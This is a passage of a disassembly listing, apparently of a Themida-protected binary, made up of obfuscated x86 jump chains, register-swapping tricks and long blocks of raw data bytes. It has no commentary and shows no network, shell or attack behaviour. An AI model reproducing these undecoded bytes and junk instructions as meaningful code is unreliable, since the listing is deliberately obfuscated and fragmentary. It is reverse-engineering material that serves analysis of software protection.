dup(0FFh) ; --------------------------------------------------------------------------- loc_55EABE: ; CODE XREF: Themida_:00553FD4j mov [esp], bx mov bh, 79h add al, bh mov bx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 2 jmp loc_55B5FC ; --------------------------------------------------------------------------- dw 2C89h dd 50E58924h, 0FF4AEEE9h, 81C301FFh, 0A71D84EBh, 1EC38159h dd 522D494Dh, 932714BAh, 72E9575Fh, 53FFFF8Ch, 0BBh, 87FB2900h dd 6EE95BDFh, 66FFFF96h, 662B66BEh, 9CE9F331h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EB1F: ; CODE XREF: Themida_:0055417Ej sub ebx, 387D46E3h pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_55FB4E ; --------------------------------------------------------------------------- db 52h, 0BAh, 25h dd 0F765E24Eh, 74EA81D2h, 81071657h, 180B28E2h, 0E9DAF744h dd 0FFFFF8FEh ; --------------------------------------------------------------------------- loc_55EB50: ; CODE XREF: Themida_:0055621Fj add ebp, 4 jmp loc_557C20 ; --------------------------------------------------------------------------- db 66h dd 0F5BB6653h, 0D8016676h, 0FFFE0EE9h db 0FFh byte_55EB69 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00553258o dd 0E1895159h, 4CC6E953h, 62BFFFFFh, 0C108CA48h, 72E905E7h dd 80000007h, 0CC88B2C1h, 4EB65259h, 515AF400h, 7BE9CDB5h dd 4FFFFB6h, 8B6659DBh, 0C481241Ch, 2, 0A6768h, 240C8900h dd 0E9DAB252h, 0FFFF9D9Ch ; --------------------------------------------------------------------------- loc_55EBB4: ; CODE XREF: Themida_:00559390j mov eax, 70B7229h shl eax, 3 and eax, 76045AC1h jmp loc_553D9B ; --------------------------------------------------------------------------- aM0HI db '¬0ØhœI',0 ; DATA XREF: Themida_:005533FCo align 2 dw 0FAE9h dd 5FFFF8Fh, 4, 405h, 24048700h, 0FFCD56E9h, 0F18141FFh dd 7F9609F2h, 0BA524949h, 42CF07D8h, 8107E2C1h, 6D41D0F2h dd 0CAB0E971h, 481FFFFh, 424h, 0C7815F00h, 4, 26852h, 295A0000h dd 0B797E9D7h, 1489FFFFh, 2474FF24h, 24148B04h, 8F04C483h dd 248B2404h, 0B7E6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC36: ; CODE XREF: Themida_:0055CEEAj mov ebx, esi jmp loc_55BA20 ; --------------------------------------------------------------------------- db 5Eh, 56h, 89h dd 4BD55E6h, 1000000h, 0C6835DEEh, 24348704h, 0FFEC2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EC55: ; CODE XREF: Themida_:0055EDA8j mov edx, [esp] add esp, 4 add edx, 4 jmp loc_556F29 ; --------------------------------------------------------------------------- dw 0E7D0h dd 80C7F780h, 0F90051C7h, 0FF7C82E9h, 0E9CAFEFFh, 0FFFFFB0Eh ; --------------------------------------------------------------------------- loc_55EC7C: ; CODE XREF: Themida_:0055E620j push edx jmp loc_55CE28 ; --------------------------------------------------------------------------- dw 248Bh dd 0B60F6624h, 0E0686600h, 4896663h, 0C73BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC96: ; CODE XREF: Themida_:0055C3EFj add esp, 4 not eax add eax, 980C40CDh sub [edi+24h], eax pop eax loc_55ECA4: ; CODE XREF: Themida_:00558FE6j push ecx jmp loc_55504B ; --------------------------------------------------------------------------- dw 0D9F7h dd 0FFFFE981h, 0C981FFFFh, 9F301AEh, 0FFDF7EE9h, 4B704FFh dd 2434FF9Eh, 0E9240C8Bh, 0FFFFB4DCh, 51243C8Bh, 0C181E189h dd 4, 4BF57h, 0C1810000h, 0DD96B86h, 0FF8A99E9h, 5BDA89FFh dd 685AD701h, 57Eh, 0FF243C89h, 0E9042474h, 0FFFF5B35h dword_55ED00 dd 56D831ADh, 826F6FBEh, 0D7F68162h, 81653040h, 2A582BC6h ; DATA XREF: Themida_:00553424o dd 0E6BB5362h, 537E9629h, 5B2414F7h, 0BCB9BF57h, 0FB31DCEAh dd 4A4E9h, 7E95C00h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ED33: ; CODE XREF: Themida_:00558619j xor eax, ecx pop ecx jmp loc_55357C ; --------------------------------------------------------------------------- db 81h dd 0D144BEF3h, 0DD47E9C2h, 6704FFFFh, 5351D828h, 79E967B3h dd 0BEFFFF97h, 4CD736AAh, 295EF589h, 0C1815DE9h, 40746B2Fh dd 0BE56E901h, 449D11E6h, 8B26E946h, 489FFFFh, 4B824h dd 0C1890000h, 0FF9A4BE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push dword ptr [esp] pop eax push edx push 19C2h mov [esp], esp add dword ptr [esp], 4 jmp loc_55EC55 ; --------------------------------------------------------------------------- align 2 dw 0E9F0h dd 0FFFF48AFh, 8324148Bh, 4C2904C4h, 81590424h, 0F06242Ch dd 0B5E92E90h, 88FFFF5Fh, 0B63FE9EFh, 405FFFFh, 87000000h dd 0ABE92404h, 81FFFFA3h, 14D4F9C2h, 5AD6016Ah, 0E95EF501h dd 0FFFFD3DFh dword_55EDF0 dd 0FF2434FFh, 34FF2434h, 0C4835824h, 4C48304h, 0B530E952h ; DATA XREF: Themida_:00553414o dd 6F21FFFFh, 2434FF1Ch, 4C4835Dh, 0FFB2C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EE15: ; CODE XREF: Themida_:005554BEj mov edx, 57B96AADh xor edx, 4FE855D4h add edx, 1DDD232Bh jmp loc_55F673 ; --------------------------------------------------------------------------- db 1 dd 12E959CFh, 56FFFF78h, 0C681E689h, 4, 4EE81h, 39E90000h dd 57000007h, 74069CBFh, 89BAE966h, 5966FFFFh, 5105EEC0h dd 0E1C0E3B1h, 9BC18004h, 0E959CE30h, 0FFFF7E21h dword_55EE68 dd 0B0E9028Fh, 31FFFF46h, 0B8505FFBh, 7BBD4B82h, 540D8F7h ; DATA XREF: Themida_:00553428o dd 7E0C9D40h, 85E9C329h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EE87: ; CODE XREF: Themida_:0055C351j pop esi jmp loc_55B4B1 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 6424248Bh, 0E9028966h, 0FFFF4683h, 0CB93E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EEA2: ; CODE XREF: Themida_:005555A2j pop ebp and eax, edx pop edx shr eax, 12h jmp loc_55CFA9 ; --------------------------------------------------------------------------- dw 0ED81h dd 0B2274137h, 0A43B850h, 0F793074Bh, 710593D3h, 15F9D69h dd 0EE2958C6h, 5B2B68h, 24048900h, 525F2DB8h, 0E9C62958h dd 0FFFFE507h, 0D6E9DBF7h, 68FFFFBCh, 219Ch, 54241C89h dd 0E389535Bh, 4C381h, 0EB810000h, 4, 0FF9F3DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EF01: ; CODE XREF: Themida_:00557EBAj add ecx, 211806C7h shr ecx, 7 sub ecx, 562EA333h mov eax, ecx pop ecx mov edi, eax pop eax sub ebx, 20FA0BCDh sub ebx, edi add ebx, 20FA0BCDh pop edi and eax, ebx push dword ptr [esp] push dword ptr [esp] jmp loc_55AC29 ; --------------------------------------------------------------------------- loc_55EF32: ; CODE XREF: Themida_:00556AE2j sub ecx, 3A6060CAh pop edi sub ecx, 4 xchg ecx, [esp] jmp loc_55FAD8 ; --------------------------------------------------------------------------- dd 875C8859h, 2434FF01h, 5854505Bh, 405h, 0C669E900h, 0C483FFFFh dd 4E98304h, 8B240C87h, 14892424h, 81E28924h, 4C2h, 4C28300h dd 4EC81h, 0E1E90000h, 68FFFF7Eh, 4, 0FFB5CDE9h, 4315CFFh dd 8CE99C24h, 8BFFFF45h, 8B662424h, 8952240Ch, 0C434E9E2h dd 0C281FFFFh, 1, 0D17F281h, 0BB531AD8h, 6F9F16FFh, 515BDA09h dd 33575DB9h, 0E9CA3161h, 0FFFF5E57h, 24048B54h, 0E904C483h dd 0FFFF4A90h, 8104E5C1h, 26712C5h, 0F0E981E5h, 291F501Fh dd 0CFD3E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EFE6: ; CODE XREF: Themida_:0055826Cj sub dh, al pop eax sub dh, 20h jmp loc_557F8B ; --------------------------------------------------------------------------- db 5Ah, 81h, 0CFh dd 6B927D83h, 6F7BF781h, 0E7C16BC6h, 0FEC78104h, 31E2611Bh dd 3ABE9FAh, 0C2810000h, 1EBF0DECh, 0EC81C201h, 4, 68240C89h dd 8EDh, 68240489h, 78127168h, 31BE0558h, 0BE3571DCh, 89986587h dd 0C18158C1h, 0AD33E954h, 8E9CA29h, 83FFFF67h, 0C68104C4h dd 4, 0E904EC83h, 0FFFF80A2h ; --------------------------------------------------------------------------- loc_55F058: ; CODE XREF: Themida_:00553AA9j or eax, eax jz loc_555DBB push 13Dh mov [esp], eax jmp loc_55445E ; --------------------------------------------------------------------------- loc_55F06D: ; CODE XREF: Themida_:0055BA30j not dword ptr [esp] jmp loc_556C58 ; --------------------------------------------------------------------------- db 0BBh, 2, 0 dd 0DD290000h, 0D388E95Bh, 489FFFFh, 1E0C6824h, 0E9580856h dd 0FFFFD443h dword_55F090 dd 4AD1E9ADh ; DATA XREF: Themida_:005534B4o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F096: ; CODE XREF: Themida_:0055AEEBj pop eax push edx mov edx, ebx mov edi, edx pop edx pop ebx add ecx, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_5582F6 ; --------------------------------------------------------------------------- loc_55F0AC: ; CODE XREF: Themida_:00555E48j mov [esp], ebp push edx jmp loc_55CF65 ; --------------------------------------------------------------------------- loc_55F0B5: ; CODE XREF: Themida_:00555CF1j push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55CF1F ; --------------------------------------------------------------------------- byte_55F0C9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00553308o dd 4EC8124h, 89000000h, 0E589242Ch, 9099E956h, 0CD01FFFFh dd 81240C8Bh, 4C4h, 86E95300h, 5FFFFFFh, 60B74DF5h, 0B7E9D001h dd 54FFFFE4h, 0B71FE95Fh, 8158FFFFh, 4C4h, 4C48100h, 0E9000000h dd 0FFFF440Bh ; --------------------------------------------------------------------------- loc_55F114: ; CODE XREF: Themida_:0055F5D4j push eax jmp loc_554132 ; --------------------------------------------------------------------------- dw 5659h dd 4203C9BEh, 2E6C115h, 2414F756h, 77EE815Eh, 0E9597771h dd 0FFFF76BAh, 783FCA81h, 56423DCCh, 4888FBBEh, 0BABBE9A3h dd 0C781FFFFh, 0F9DA6424h, 295FFA89h, 0B8CCE9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F156: ; CODE XREF: Themida_:00553F3Cj xor eax, ecx jmp loc_55A16E ; --------------------------------------------------------------------------- byte_55F15D db 0FFh, 34h, 24h ; DATA XREF: Themida_:005532F4o dd 78EE9h, 4DE94D00h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F16B: ; CODE XREF: Themida_:00555132j add esp, 4 shr eax, 10h xor eax, ecx push 267Ah mov [esp], eax push 245Dh mov [esp], ecx jmp loc_55F440 ; --------------------------------------------------------------------------- loc_55F188: ; CODE XREF: Themida_:00553AF9j mov edi, eax pop eax jmp loc_5564BF ; --------------------------------------------------------------------------- dd 0E924048Bh, 0FFFFCDC9h, 31242C33h, 2C33242Ch, 24248B24h dd 66E9F766h, 0E94A6A68h, 0FFFFB23Dh ; --------------------------------------------------------------------------- loc_55F1B0: ; CODE XREF: Themida_:00554DC2j add edi, ebp push ecx mov ecx, 17ED4256h sub edi, ecx jmp loc_557EBF ; --------------------------------------------------------------------------- db 66h dd 4245401h, 4CE95066h, 5BFFFFADh, 0FF434EE9h, 0C6815FFFh dd 1B694E17h, 0BA52DE29h, 1B694E17h, 148BD629h, 4C48124h dd 0E9000000h, 0FFFFB7DEh, 42474FFh, 24048F58h, 0FFECA1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F1FD: ; CODE XREF: Themida_:0055426Dj sub ebx, esi pop esi mov ecx, ebx jmp loc_55E054 ; --------------------------------------------------------------------------- db 8Bh dd 89522414h, 4C281E2h, 0E9000000h, 0FFFF467Dh ; --------------------------------------------------------------------------- loc_55F218: ; CODE XREF: Themida_:0055DA19j dec esi xor esi, 285E2C9Bh sub esi, 302A2496h add edi, esi pop esi push esi mov esi, esp add esi, 4 jmp loc_5587F0 ; --------------------------------------------------------------------------- dw 0CB81h dd 6DE042BFh, 0AE9DBF7h, 81FFFF48h, 296E42C6h, 36C68161h dd 0F77D5903h, 96C681DEh, 896EDFF4h, 0BD555EF0h, 14220961h dd 3D87CD81h, 44E96D2Dh db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F26B: ; CODE XREF: Themida_:00558744j pop esp mov [esp], ebx push eax jmp loc_55E36C ; --------------------------------------------------------------------------- aUhle db 'UhlE',0 dw 8900h dd 0BB532424h, 451D2259h, 1AF6C381h, 64E97E3Bh, 81000001h dd 8B08246Ch, 10C003Bh, 8108244Ch, 8B082444h, 0E90C003Bh dd 0FFFFC94Dh, 20E9FE89h, 0FFFFFFC3h, 8B042474h, 86E9243Ch dd 66FFFF9Dh, 0DE21665Eh, 0B966515Bh, 81662066h, 66345EC9h dd 66FFC183h, 808C181h, 5E1C166h, 0CAC18166h, 0CE29660Dh dd 0FFBE0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F2E5: ; CODE XREF: Themida_:0055D87Fj add esp, 4 jmp loc_55569A ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFAFC0E9h, 5EFC1FFh, 0B7A2C781h, 0B1E9FF35h, 87FFFFA7h dd 895C2414h, 56BB241Ch, 0E9056F76h, 0FFFFF311h, 0BDDBED81h dd 0FDE917FBh db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F31F: ; CODE XREF: Themida_:00558017j push esp pop esi jmp loc_55BF81 ; --------------------------------------------------------------------------- loc_55F326: ; CODE XREF: Themida_:0055C937j mov esp, [esp] push 3A0h mov [esp], ebp jmp loc_559819 ; --------------------------------------------------------------------------- dw 8957h dd 0C3BA52E7h, 810AE94Dh, 0C957ACCAh, 0EBEA8113h, 811BE95Fh dd 441D05EFh, 0D611E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F356: ; CODE XREF: Themida_:00557F8Dj pop edx xor al, 10h jmp loc_553A2F ; --------------------------------------------------------------------------- dw 0CA09h dd 0FF4F90E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F365: ; CODE XREF: Themida_:0055705Dj mov ebx, 623A5A49h dec ebx jmp loc_55485C ; --------------------------------------------------------------------------- dd 66F1F766h, 66514268h, 66241489h, 9CE99C50h, 57FFFF41h dd 0FF5C90E9h, 4EC83FFh, 54240489h, 0FFFDFBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F395: ; CODE XREF: Themida_:0055F8C5j mov [esp], ecx xchg edx, [esp] sub esp, 4 mov [esp], edx not dword ptr [esp] pop edx xchg edx, [esp] pop ecx xchg edi, ecx jmp loc_55B987 ; --------------------------------------------------------------------------- db 57h dd 0FFF7BDE9h, 82E95FFFh, 81FFFFEDh, 0C65195E7h, 0C7814766h dd 3470BE03h, 0FFBA4BE9h db 0FFh byte_55F3D1 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005532C8o dd 411589Dh, 40E99C24h, 89FFFF41h, 44815FF9h, 9AD0424h dd 4C0136DEh, 62E90424h, 81FFFFD1h, 0A7C2B5C3h, 0D362E93Ch dd 0F921FFFFh, 81243C8Bh, 4ECh, 9180E900h, 0C583FFFFh dd 242C8704h, 4105E95Ch, 5051FFFFh, 967761B8h, 7765B936h dd 0C1313696h, 0FFF0D0E9h, 4C483FFh, 0FFB941E9h, 241C33FFh dd 0E9241C31h, 0FFFF4FFBh ; --------------------------------------------------------------------------- loc_55F440: ; CODE XREF: Themida_:0055F183j push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_55F6C9 ; --------------------------------------------------------------------------- db 81h, 0C5h, 41h dd 29095E24h, 815F5DEAh, 657C1EEAh, 8923E96Ah, 0E1C1FFFFh dd 3E9C106h, 0FF9148E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F46D: ; CODE XREF: Themida_:005550ADj shl esi, 8 or esi, 73580B35h xor esi, 0E3F18A48h mov ebx, esi pop esi mov ecx, 61F56FDBh xor ecx, ebx mov ebx, [esp] add esp, 4 shr ecx, 1 jmp loc_555744 ; --------------------------------------------------------------------------- dw 0C483h dd 0A096E904h, 7CE9FFFFh, 31FFFF40h, 0D2F75DEAh, 0FF4B4CE9h dd 665166FFh, 0E90002B9h, 0FFFFA91Ch, 0AED2F681h, 87E9E700h dd 81FFFFA9h, 4C7h, 86CBE900h, 0C5BFFFFFh, 0F738307Ch dd 3E7C1DFh, 0FFF626E9h, 1C180FFh, 302AB652h, 53665AF1h dd 4CE9B2B7h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F4EF: ; CODE XREF: Themida_:005592D7j xchg esi, [esp] pop esp jmp loc_55D119 ; --------------------------------------------------------------------------- dd 8803C280h, 24148BD5h, 4C481h, 1CE90000h, 81FFFFE1h dd 45E314E9h, 0E9CF8901h, 0FFFFB830h, 0C381E389h, 4, 8704C383h dd 685C241Ch, 0BEh, 57241489h, 0FF5914E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F535: ; CODE XREF: Themida_:00557835j push 6DA4h mov [esp], ecx mov ecx, 28h add ecx, 7E385EB9h add ecx, edi push edx mov edx, 7E385EB9h sub ecx, edx pop edx push edx mov edx, 0 add edx, ecx mov [edx], al mov edx, [esp] push esi push esp pop esi push edi jmp loc_55636E ; --------------------------------------------------------------------------- db 53h, 0BBh, 0 dd 56000000h, 0DC5818BEh, 8BC38160h, 0E913CE5Bh, 0FFFF8D55h dd 5C243487h, 89240C89h, 99D8E9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F58E: ; CODE XREF: Themida_:00558842j shr edx, 4 jmp loc_5548EB ; --------------------------------------------------------------------------- dw 0D7F7h dd 707CCF81h, 0F78122CCh, 5A0713E9h, 0FF88C1E9h, 7E5C0FFh dd 80E5F580h, 0EF88E6EDh, 0FFF82059h, 815B2434h, 4C4h dd 1B1D6800h, 1C890000h, 6346824h, 83E90000h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F5D3: ; CODE XREF: Themida_:0055A775j pop esi jmp loc_55F114 ; --------------------------------------------------------------------------- loc_55F5D9: ; CODE XREF: Themida_:0055E11Dj pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebx push 751h jmp loc_55A69C ; --------------------------------------------------------------------------- dd 68C0B70Fh, 6F57h, 68242C89h, 1FE9h, 0E9242489h, 0FFFF823Bh ; --------------------------------------------------------------------------- loc_55F608: ; CODE XREF: Themida_:0055F794j sub esp, 4 mov [esp], ecx mov ecx, 7FCB7620h xor edi, ecx jmp loc_55E180 ; --------------------------------------------------------------------------- db 81h, 0F5h, 0C7h dd 505BFE52h, 0FB10BEB8h, 58C5297Dh, 8106EDC1h, 661128F5h dd 51B85069h, 0F76B7F4Dh, 22D82DD8h, 4C2D30A0h, 830ABA6Fh dd 0C3E9FFE8h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F64F: ; CODE XREF: Themida_:0055A0F9j xor edi, [esp] xor [esp], edi not edi xchg edi, [esp] pop ebp jmp loc_553BE6 ; --------------------------------------------------------------------------- loc_55F660: ; CODE XREF: Themida_:0055C033j shl edi, 7 jmp loc_55CCEA ; --------------------------------------------------------------------------- dd 40BAEE81h, 73E96AA6h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F673: ; CODE XREF: Themida_:0055EE26j push ebp mov ebp, 0C9D19D60h jmp loc_55D9CE ; --------------------------------------------------------------------------- dw 3C33h dd 0BE0F5C24h, 0F411E9C8h, 34FFFFFFh, 0C4835824h, 241C8B04h dd 4C481h, 80E90000h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F69F: ; CODE XREF: Themida_:0055C5F8j xchg ebp, [esp] pop esp push edx push esi mov esi, 69B06EEFh jmp loc_55B438 ; --------------------------------------------------------------------------- db 81h dd 73F1F9F7h, 973BE939h db 2 dup(0FFh) word_55F6BA dw 8B66h ; DATA XREF: Themida_:005532DCo dd 68502404h, 237Ah, 0FFA038E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F6C9: ; CODE XREF: Themida_:0055F448j not ecx xor [esp], ecx xor ecx, [esp] xor [esp], ecx push dword ptr [esp] jmp loc_55B10C ; --------------------------------------------------------------------------- dword_55F6DC dd 15DB68h, 24148900h, 10685750h, 5F417A26h, 8102E7C1h ; DATA XREF: Themida_:00553280o dd 0E89808EFh, 5FF88905h, 24048150h, 0D903594h, 0FFDA27E9h dd 243C33FFh, 0E924248Bh, 0FFFF9618h ; --------------------------------------------------------------------------- loc_55F710: ; CODE XREF: Themida_:0055ACFBj pop esp shr ecx, 0Ah sub esp, 4 mov [esp], edi push ebx add dword ptr [esp], 28E67473h mov edi, [esp] push esi mov esi, esp jmp loc_5592CE ; --------------------------------------------------------------------------- db 52h, 88h, 0C6h dd 585AF588h, 0C8BEF00h, 4C48124h, 0 dd 0BD8EE9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F746: ; CODE XREF: Themida_:0055924Fj pop edx sub ebp, 4 xchg ebp, [esp] jmp loc_5576A0 ; --------------------------------------------------------------------------- loc_55F752: ; CODE XREF: Themida_:0055456Dj push 5E563768h jmp loc_55C61D ; --------------------------------------------------------------------------- dword_55F75C dd 4EC81h, 0E9550000h, 0FFFF41CFh ; DATA XREF: Themida_:005532D4o ; --------------------------------------------------------------------------- loc_55F768: ; CODE XREF: Themida_:0055D91Ej or ecx, 7A3E6DAEh sub ecx, 7F7F6DABh jmp loc_558087 ; --------------------------------------------------------------------------- db 48h, 35h, 0C1h dd 0E968DB2Ch, 0FFFFCDF8h ; --------------------------------------------------------------------------- loc_55F784: ; CODE XREF: Themida_:00556EA5j dec ecx push edi mov edi, 1A41684Ch shl edi, 7 or edi, 2660EB0h jmp loc_55F608 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 83243C8Bh, 7F6804C4h, 8900005Fh, 0E389241Ch, 4C381h dd 0C3810000h, 4, 0FF5958E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F7BD: ; CODE XREF: Themida_:00559241j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push 3C95h mov [esp], edi jmp loc_55C595 ; --------------------------------------------------------------------------- dw 8957h dd 685650E7h, 64594266h, 0FF6E74E9h, 86D0F6FFh, 0DF1DE9C5h dd 0FC2CFFFFh, 8124148Bh, 4C4h, 8178E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F7FE: ; CODE XREF: Themida_:0055C854j pop eax jmp loc_55DB81 ; --------------------------------------------------------------------------- loc_55F804: ; CODE XREF: Themida_:0055BA1Bj xor esi, ebp xor ebp, esi xor esi, ebp push ebp not dword ptr [esp] mov ebp, [esp] jmp loc_55BC2E ; --------------------------------------------------------------------------- dd offset dword_4B5248+8820h dw 8900h aT_uAn_hu2 db '<$T_U½ANÇ_hî2',0 dw 8900h dd 0F4E92414h, 52FFFFC0h, 2175DCBAh, 0DAF74A2Dh, 6B5DE942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F842: ; CODE XREF: Themida_:00555084j xor edi, ecx mov ecx, [esp] add esp, 4 jmp loc_559B01 ; --------------------------------------------------------------------------- byte_55F84F db 66h ; DATA XREF: Themida_:00553394o dd 83240C8Bh, 348904ECh, 68E68924h, 120Dh, 56241489h, 9B036EBEh dd 9EB6E962h, 0BD55FFFFh, 0C4460C3h, 0EE9EB09h, 0B9FFFFCFh dd 4, 0E9h, 5DDF0500h, 0C8011273h, 735DDF2Dh, 4875912h dd 1A2C5C24h, 0F3E9F000h, 31FFFFCFh, 2C33242Ch, 24D35C24h dd 3C71E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F8AE: ; CODE XREF: Themida_:00558462j sub edx, 4 xchg edx, [esp] jmp loc_5564EB ; --------------------------------------------------------------------------- db 88h, 0E2h, 0E9h dd 0FFFF7553h ; --------------------------------------------------------------------------- loc_55F8C0: ; CODE XREF: Themida_:0055BD89j push 6D7Fh jmp loc_55F395 ; --------------------------------------------------------------------------- dw 0E8B9h dword_55F8CC dd 81272A6Dh, 2C5EBBC6h, 0B25BE916h, 0E9D1FFFFh, 7877C981h dd 0E98147E2h, 23804601h, 4CC1B850h, 7AE977E0h, 58FFFF59h dd 81E18951h, 4C1h, 43E95000h, 0FEFFFF81h, 5FB151C6h, 0FE50E980h dd 4E1C0C9h, 3EB05066h, 79341204h, 5866C130h, 0C8BCE30h dd 4C48124h, 0E9000000h, 0FFFF9AA9h ; --------------------------------------------------------------------------- loc_55F92C: ; CODE XREF: Themida_:0055D773j sub ebp, 251F1B36h xor ebp, 0D17272A3h xor eax, ebp pop ebp jmp loc_55BA6B ; --------------------------------------------------------------------------- dd 0D9885966h, 4631E95Bh, 0C481FFFFh, 4, 0C781D701h, 1C6F43ABh dd 0BE56525Ah, 20EB12C9h, 68FC60BAh, 5EF201FBh, 5E4CBF57h dd 0EA817511h, 422752C5h, 0C281FA01h, 422752C5h, 8411E95Fh dd 0DEF6FFFFh, 801AE680h, 0F68045F6h, 0E4F680D1h, 0FF7075E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F995: ; CODE XREF: Themida_:00555594j or eax, eax jnz loc_555E7F sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edx jmp loc_55C33C ; --------------------------------------------------------------------------- dd 405h, 32DB6800h, 0D4E90000h, 1FFFF77h, 0E3E95FFAh db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F9CB: ; CODE XREF: Themida_:00559E57j pop ebx pop ebp jmp loc_55351F ; --------------------------------------------------------------------------- loc_55F9D2: ; CODE XREF: Themida_:00554E9Cj or eax, eax jz loc_556108 push dword ptr [edi+28h] push dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 jmp loc_55A116 ; --------------------------------------------------------------------------- loc_55F9FD: ; CODE XREF: Themida_:00556F02j push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], dx push eax mov ah, 63h mov dh, ah push dword ptr [esp] jmp loc_5561A7 ; --------------------------------------------------------------------------- db 1, 0D7h, 5Ah dd 0FF5942E9h db 0FFh byte_55FA25 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005532B4o dd 6658669Dh, 9C240411h, 0FF4F35E9h, 53C781FFh, 290BB225h dd 51515FF9h, 61F7DB9h, 244C3175h, 815D5904h, 61F7DF5h dd 0E8015975h, 57F7E95Dh, 1487FFFFh, 24248B24h, 24048B66h dd 0B7CBE955h, 5152FFFFh, 36E9ADB5h, 81FFFFE2h, 4ECh, 240C8900h dd 337FABB9h, 4D04E936h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA86: ; CODE XREF: Themida_:0055815Dj mov edx, 55120FD6h and edi, edx pop edx xor edi, 55820FD6h and eax, edi push dword ptr [esp] push dword ptr [esp] jmp loc_557C36 ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 dd 0F5E95124h, 0FFFFFF7Fh, 59E92434h, 29FFFFABh, 11BD55D3h dd 176FA63h, 148B5DEBh, 4C48124h, 81000000h, 494D1EEBh dd 84C3812Dh, 0E959A71Dh, 0FFFFF011h ; --------------------------------------------------------------------------- loc_55FAD8: ; CODE XREF: Themida_:0055EF3Fj pop esp mov [esp], esi push 7E75h mov [esp], ebx mov ebx, 3C2E3A97h jmp loc_55B382 ; --------------------------------------------------------------------------- dw 895Ch dd 0EB88241Ch, 4246C8Ah, 4245C88h, 0FFD7BEE9h, 525D54FFh dd 4BAh, 4BC58100h, 0E93BB178h, 0FFFFDBABh, 15BD929h, 240C8BCEh dd 5004C483h, 672568h, 242C8900h, 2BDh, 5DE88900h, 0E958C601h dd 0FFFF63BBh ; --------------------------------------------------------------------------- loc_55FB38: ; CODE XREF: Themida_:00554D7Bj mov esp, [esp] sub esp, 4 jmp loc_55E7C0 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 0DEE0E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB4E: ; CODE XREF: Themida_:0055EB30j movzx cx, al push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_554610 ; --------------------------------------------------------------------------- db 0E9h, 0B5h, 39h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB6A: ; CODE XREF: Themida_:00558E25j pop edx pop dword ptr [esp] jmp loc_55CA0C ; --------------------------------------------------------------------------- db 0FFh dd 50582434h, 0FFE9B9E9h, 243C8BFFh, 4C481h, 0D3E90000h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB8B: ; CODE XREF: Themida_:0055C39Cj push esi mov esi, esp add esi, 4 jmp loc_55DA9D ; --------------------------------------------------------------------------- db 81h, 0EAh, 94h dd 0C152DA62h, 0E2C102EAh, 0D54DE908h, 1C89FFFFh, 19B6BB24h dd 0DF016B68h, 0FFA8F4E9h, 0A6E95AFFh, 8BFFFF4Ch, 0FEE92424h db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- 